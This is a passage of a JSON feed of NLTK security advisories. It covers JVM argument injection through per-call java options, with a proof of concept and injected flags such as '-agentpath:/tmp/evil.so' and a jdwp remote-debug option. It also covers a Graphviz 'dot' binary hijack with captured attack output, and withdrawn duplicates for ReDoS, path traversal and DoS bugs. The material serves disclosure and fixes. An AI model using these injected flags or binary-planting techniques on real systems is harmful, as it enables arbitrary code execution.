stored at line 117, passed at line 337\n\n## Proof of Concept\n\n```python\nfrom nltk.internals import config_java, java, _validate_java_options\n\n# 1. The global config_java() path correctly blocks dangerous flags:\ntry:\n    config_java(options=[\"-agentpath:/tmp/evil.so\"])\nexcept ValueError as e:\n    print(f\"config_java blocked: {e}\")   # blocked as expected\n\n# 2. The per-call options path does NOT block them:\n# (Would execute if Java were installed)\n# java([\"SomeClass\"], classpath=\".\", options=[\"-agentpath:/tmp/evil.so\"])\n# This passes \"-agentpath:/tmp/evil.so\" directly to subprocess.Popen\n\n# 3. Stanford wrapper classes pass through without validation:\n# from nltk.parse.stanford import StanfordParser\n# parser = StanfordParser(java_options=\"-agentpath:/tmp/evil.so\")\n# parser.parse(...)  # dangerous flag reaches JVM\n\n# Verify the gap directly:\ndangerous_opts = [\"-agentpath:/tmp/evil.so\"]\ntry:\n    _validate_java_options(dangerous_opts)\n    print(\"Would have been caught\")\nexcept ValueError:\n    print(\"Correctly rejected by _validate_java_options()\")\n\n# But java() itself never calls _validate_java_options():\nimport inspect\nsource = inspect.getsource(java)\nassert \"_validate_java_options\" not in source, \"java() does not validate options\"\nprint(\"Confirmed: java() does not call _validate_java_options()\")\n```\n\n## Impact\n\nAn attacker who controls the `java_options` parameter to any NLTK Stanford wrapper class can inject arbitrary JVM flags, including:\n\n- `-agentpath:/path/to/malicious.so` -- loads a native agent, achieving arbitrary code execution\n- `-javaagent:/path/to/malicious.jar` -- loads a Java agent for bytecode manipulation\n- `-agentlib:jdwp=transport=dt_socket,server=y,address=*:5005` -- enables remote debugging, allowing remote code execution\n- `@/path/to/argfile` -- expands an argument file, which can smuggle any of the above\n\nThis is exploitable in scenarios where NLTK is deployed as a service and `java_options` is derived from user input, configuration files, or environment variables. The PR #3647 commit message explicitly states the fix was intended to cover \"StanfordSegmenter, and GenericStanfordParser\" but the implementation only validates in `config_java()`.\n\n## Suggested Fix\n\nAdd `_validate_java_options()` to the `java()` function's per-call options handling:\n\n```python\n# nltk/internals.py, in the java() function\nif options is None:\n    java_options = _java_options\nelse:\n    if isinstance(options, str):\n        options = options.split()\n    java_options = list(options)\n    _validate_java_options(java_options)   # ADD THIS LINE\ncmd = [_java_bin] + java_options + cmd\n```\n\nThis single-line addition closes the bypass for all four Stanford wrapper classes and any future callers of `java(options=...)`.\n\n### AI tooling\n\nAI assistance was used for the code audit and for drafting this report. The finding were manually verified against the project's source at the location cited above before reporting it, and the severity and impact assessment are the reporters.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-01T20:38:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-m4rf-3fr8-xwx3","https://nvd.nist.gov/vuln/detail/CVE-2026-79675","https://github.com/nltk/nltk/commit/8fa9650b6009aacfdebbc33d2a08d32c0858ea6c","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-jvm-argument-injection-via-per-call-options","https://github.com/advisories/GHSA-m4rf-3fr8-xwx3"],"source_kind":"github","identifiers":["GHSA-m4rf-3fr8-xwx3","CVE-2026-79675"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-25T12:00:46.441Z","epss_percentage":0.00775,"epss_percentile":0.53833,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tNHJmLTNmcjgteHd4M84ABnWp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","url":"https://github.com/advisories/GHSA-6hwm-xvph-95vm","title":"NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary","description":"Two NLTK sites executed the Graphviz `dot` program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named `dot` where resolution looks (the CWD on Windows, or a writable/relative entry such as `.` on `PATH`) has their binary executed in place of Graphviz (arbitrary code execution).\n\nAffected (\u003c= 3.10.2):\n- `nltk.parse.dependencygraph.dot2img` — called `find_binary(\"dot\")` but discarded the returned validated path and then ran the bare name `[\"dot\", ...]`, so the validation had no effect.\n- `nltk.translate.api.AlignedSent._repr_svg_` — ran the bare name with no validation at all (IPython SVG rendering).\n\nThis is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. `nltk.internals.find_binary` refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.\n\n---\n\n## Attack demonstration\nCaptured output, not illustrative. A `./dot` that writes a `PWNED` marker, planted in the CWD with `.` prepended to `PATH`.\n\n**The vulnerable behaviour (old bare-name exec):**\n```\nControl (OLD behavior) — bare ['dot'] in this dir with '.' on PATH:\n  bare ['dot'] executed planted binary = True\n```\n\n**The patched functions refuse it:**\n```\nFIXED code, with ./dot planted and '.' on PATH:\n  dependencygraph.dot2img : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n  AlignedSent._repr_svg_  : Exception \"Cannot find the dot binary...\"  | planted-binary-executed=False  safe\n```\n\n**And `find_binary` itself was attacked directly** (the fix trusts nothing else):\n```\nAttack 1: ./dot in CWD, no dot on PATH            -\u003e LookupError (refused)  safe\nAttack 2: ./dot/dot (dir 'dot' holding 'dot')     -\u003e LookupError (refused)  safe\nAttack 3: '.' on PATH + ./dot                     -\u003e LookupError (refused)  safe\nAttack 4: attacker-writable ABSOLUTE dir on PATH  -\u003e returned /…/evilbin/dot (absolute)\n```\nAttack 4 is out of scope: trusting an absolute directory that is already on `PATH` is the operating system's own trust model — an attacker who can write to a `PATH` directory owns the account regardless of NLTK. `find_binary` defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.\n\nEnvironment: python 3.13.7. `dot` is not required to reproduce — the planted binary is the payload.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-01T20:27:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6hwm-xvph-95vm","https://nvd.nist.gov/vuln/detail/CVE-2026-78680","https://github.com/nltk/nltk/commit/1a3cd1764ab3deb084fb66d0ffb4873717659538","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://www.vulncheck.com/advisories/nltk-before-arbitrary-code-execution-via-graphviz-dot-binary","https://github.com/advisories/GHSA-6hwm-xvph-95vm"],"source_kind":"github","identifiers":["GHSA-6hwm-xvph-95vm","CVE-2026-78680"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-01T21:00:09.041Z","updated_at":"2026-09-25T12:00:46.443Z","epss_percentage":0.00177,"epss_percentile":0.06402,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02aHdtLXh2cGgtOTV2bc4ABnWn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","url":"https://github.com/advisories/GHSA-vf76-f5cp-9846","title":"Duplicate Advisory: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-w3v8-gmh9-3wv7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service (ReDoS) vulnerability in the tgrep module. The _tgrep_node_action function compiles user-supplied regular expressions embedded in /regex/ pattern nodes and executes them via re.search against tree node labels without any validation or timeout. An attacker who controls the tgrep pattern (e.g., via tgrep_positions() or tgrep_compile() exposed to external input) can supply a pattern that triggers catastrophic backtracking, causing indefinite CPU saturation that blocks the Python process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-31T21:31:52.000Z","withdrawn_at":"2026-09-02T14:49:37.000Z","classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7","https://nvd.nist.gov/vuln/detail/CVE-2026-80206","https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep","https://github.com/advisories/GHSA-vf76-f5cp-9846"],"source_kind":"github","identifiers":["GHSA-vf76-f5cp-9846"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.201Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Zjc2LWY1Y3AtOTg0Ns4ABmNd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","url":"https://github.com/advisories/GHSA-pf76-q698-37v8","title":"Duplicate Advisory: Uncontrolled recursion in nltk.featstruct.FeatStructReader causes unhandled RecursionError (DoS) via deeply nested feature-structure input","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-cw6x-m8jw-qmrh. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains an uncontrolled recursion vulnerability in nltk.featstruct.FeatStructReader that allows unauthenticated attackers to cause a denial of service by supplying deeply nested feature-structure input. Attackers can craft trivial payloads with nested brackets that exceed Python's recursion limit and raise an unhandled RecursionError, crashing applications that parse user-supplied feature structures or feature grammars.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:33:12.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-cw6x-m8jw-qmrh","https://nvd.nist.gov/vuln/detail/CVE-2026-81724","https://www.vulncheck.com/advisories/nltk-before-3.10.3-denial-of-service-via-uncontrolled-recursion","https://github.com/advisories/GHSA-pf76-q698-37v8"],"source_kind":"github","identifiers":["GHSA-pf76-q698-37v8"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.242Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wZjc2LXE2OTgtMzd2OM4ABlqY/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","url":"https://github.com/advisories/GHSA-hqj7-phwp-c3fp","title":"Duplicate Advisory: Model-artifact APIs bypass pathsec and touch files outside allowed roots","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mgp-746c-j5xp. This link is maintained to preserve external references.\n\n## Original Description\nNLTK through 3.10.3 contains a path traversal vulnerability in model-artifact APIs that bypass pathsec enforcement by using raw file operations on caller-controlled paths. Attackers can read or write files outside allowed sandbox roots through TransitionParser, AveragedPerceptron, PerceptronTagger, and maxent parameter APIs when pathsec is enabled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:34:27.000Z","classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mgp-746c-j5xp","https://nvd.nist.gov/vuln/detail/CVE-2026-81726","https://www.vulncheck.com/advisories/nltk-through-3.10.3-path-traversal-via-model-artifact-apis","https://github.com/advisories/GHSA-hqj7-phwp-c3fp"],"source_kind":"github","identifiers":["GHSA-hqj7-phwp-c3fp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.239Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.3"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocWo3LXBod3AtYzNmcM4ABlqU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","url":"https://github.com/advisories/GHSA-4xw3-jf9x-x7mf","title":"Duplicate Advisory:  Downloader.download follows hardlinks and overwrites outside-root files","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-f794-5jv7-7672. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a filesystem containment bypass vulnerability in the Downloader.download and Downloader.incr_download methods that allows attackers to overwrite files outside the install root through pre-existing hardlinks. Attackers with write access to a shared downloader directory can create hardlinks pointing to outside-root files that are then overwritten during normal package extraction, mutating files outside the intended install tree.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:35:28.000Z","classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f794-5jv7-7672","https://nvd.nist.gov/vuln/detail/CVE-2026-81727","https://www.vulncheck.com/advisories/nltk-before-3.10.3-hardlink-file-overwrite-via-downloader","https://github.com/advisories/GHSA-4xw3-jf9x-x7mf"],"source_kind":"github","identifiers":["GHSA-4xw3-jf9x-x7mf"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.237Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00eHczLWpmOXgteDdtZs4ABlqS/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","url":"https://github.com/advisories/GHSA-3m7f-6hxv-6796","title":"Duplicate Advisory: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-8mpw-7fpc-4gqj. This link is maintained to preserve external references.\n\n## Original Description\nNLTK before 3.10.3 contains a regular expression denial of service vulnerability in Pl196xCorpusReader that allows attackers to cause quadratic CPU consumption by supplying malformed TEI blocks with many unmatched opening tags. Attackers can exploit lazy regex patterns in the read_block method through public APIs like words() and tagged_words() to force repeated rescans and achieve near-quadratic runtime growth.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:30.000Z","withdrawn_at":"2026-09-02T14:49:56.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-8mpw-7fpc-4gqj","https://nvd.nist.gov/vuln/detail/CVE-2026-81725","https://www.vulncheck.com/advisories/nltk-before-3.10.3-regular-expression-denial-of-service-via-pl196xcorpusreader","https://github.com/advisories/GHSA-3m7f-6hxv-6796"],"source_kind":"github","identifiers":["GHSA-3m7f-6hxv-6796"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.201Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zbTdmLTZoeHYtNjc5Ns4ABlqW/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","url":"https://github.com/advisories/GHSA-8x48-8g7j-rqxp","title":"Duplicate Advisory: Quadratic-time DoS in PorterStemmer via long runs of 'y'","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-ww6m-cw3f-q94g. This link is maintained to preserve external references.\n\n## Original Description\nnltk PorterStemmer in versions \u003c= 3.10.2 (fixed in 3.10.3) contains an inefficient-algorithmic-complexity denial of service in PorterStemmer.stem(). The _is_consonant() helper walks backward over the entire run of trailing 'y' characters on every call, and _measure() invokes it for each stem position, causing O(n^2) behavior. A single ~20-50 KB untrusted token consisting of a long run of the letter 'y' followed by a matching suffix (e.g., 'ness') can pin a CPU core for seconds to minutes, causing availability impact.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-27T18:32:29.000Z","withdrawn_at":"2026-09-02T14:36:04.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-ww6m-cw3f-q94g","https://nvd.nist.gov/vuln/detail/CVE-2026-81722","https://www.vulncheck.com/advisories/nltk-porterstemmer-before-3.10.3-quadratic-time-dos","https://github.com/advisories/GHSA-8x48-8g7j-rqxp"],"source_kind":"github","identifiers":["GHSA-8x48-8g7j-rqxp"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.236Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04eDQ4LThnN2otcnF4cM4ABlqX/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","url":"https://github.com/advisories/GHSA-hqv3-xm29-p9hq","title":"Duplicate Advisory: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-vp2x-qp44-57v7. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a quadratic CPU exhaustion vulnerability in XMLCorpusView._read_xml_fragment() that rescans accumulated XML fragments on every 1 KiB block read. Attackers can provide malformed XML corpus files to cause severe CPU consumption and denial of service through affected readers like BNCCorpusReader.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-27T18:32:29.000Z","withdrawn_at":"2026-09-02T14:34:01.000Z","classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7","https://nvd.nist.gov/vuln/detail/CVE-2026-81723","https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview","https://github.com/advisories/GHSA-hqv3-xm29-p9hq"],"source_kind":"github","identifiers":["GHSA-hqv3-xm29-p9hq"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.727Z","updated_at":"2026-09-03T07:00:11.240Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXYzLXhtMjktcDlocc4ABlp7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ycnJ3LWhwcW0tMzZwds4ABlgh","url":"https://github.com/advisories/GHSA-2rrw-hpqm-36pv","title":"Duplicate Advisory:  ReDoS in nltk.text.Text.findall() via unvalidated user-supplied regular expressions","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-rrv8-h7p8-rx55. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.0 contain a regular expression denial of service vulnerability in Text.findall() and TokenSearcher.findall() methods that accept user-supplied regular expressions without validation or timeout. Attackers can supply crafted regex patterns that cause catastrophic backtracking, resulting in indefinite CPU saturation and denial of service to all users of the Python process.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-26T18:31:54.000Z","withdrawn_at":"2026-09-08T20:27:59.000Z","classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55","https://nvd.nist.gov/vuln/detail/CVE-2026-80205","https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex","http://www.openwall.com/lists/oss-security/2026/09/01/3","https://github.com/advisories/GHSA-2rrw-hpqm-36pv"],"source_kind":"github","identifiers":["GHSA-2rrw-hpqm-36pv"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.194Z","updated_at":"2026-09-12T21:00:14.827Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycnJ3LWhwcW0tMzZwds4ABlgh","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ycnJ3LWhwcW0tMzZwds4ABlgh","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ycnJ3LWhwcW0tMzZwds4ABlgh/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","url":"https://github.com/advisories/GHSA-rcw8-9qrw-27m2","title":"Duplicate Advisory: NLTK: Corpus Reader Sandbox Bypass","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-3gq4-3j92-5w49. This link is maintained to preserve external references.\n\n## Original Description\nNLTK versions before 3.10.3 contain a path sandbox bypass vulnerability in corpus-reader constructors that allows attackers to read files outside the intended data root. Attackers can supply arbitrary corpus root paths to LinThesaurusCorpusReader and PanLexLiteCorpusReader constructors to access filesystem content and SQLite databases outside the pathsec sandbox boundary.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-25T18:31:52.000Z","withdrawn_at":"2026-09-02T14:48:44.000Z","classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3gq4-3j92-5w49","https://nvd.nist.gov/vuln/detail/CVE-2026-79674","https://www.vulncheck.com/advisories/nltk-path-traversal-via-corpus-reader-constructors","https://github.com/advisories/GHSA-rcw8-9qrw-27m2"],"source_kind":"github","identifiers":["GHSA-rcw8-9qrw-27m2"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-02T15:00:10.720Z","updated_at":"2026-09-03T07:00:11.203Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yY3c4LTlxcnctMjdtMs4ABlWt","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 